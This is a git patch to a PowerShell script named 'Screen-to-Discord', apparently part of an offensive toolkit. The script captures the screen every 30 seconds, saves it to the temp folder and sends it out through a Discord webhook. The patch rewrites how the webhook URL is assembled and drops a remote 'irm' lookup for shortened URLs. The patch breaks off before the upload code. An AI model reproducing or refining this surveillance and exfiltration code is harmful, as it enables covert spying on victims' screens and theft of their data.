From 40fdf92c757049d3772cd71d165433487c13a6ac Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Thu, 19 Jun 2025 16:55:30 +0000 Subject: [PATCH] Update main.ps1 --- Screen-to-Discord/main.ps1 | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/Screen-to-Discord/main.ps1 b/Screen-to-Discord/main.ps1 index 35a8cd4..0420a30 100644 --- a/Screen-to-Discord/main.ps1 +++ b/Screen-to-Discord/main.ps1 @@ -1,9 +1,11 @@ -$hookurl = "$dc" + $seconds = 30 # Screenshot interval $a = 1 # Sceenshot amount -# shortened URL Detection -if ($hookurl.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $hookurl = (irm $hookurl).url} +$hookurl = "$dc" +if ($hookurl.Length -lt 120){ + $hookurl = ("https://discord.com/api/webhooks/" + "$dc") +} While ($a -gt 0){ $Filett = "$env:temp\SC.png"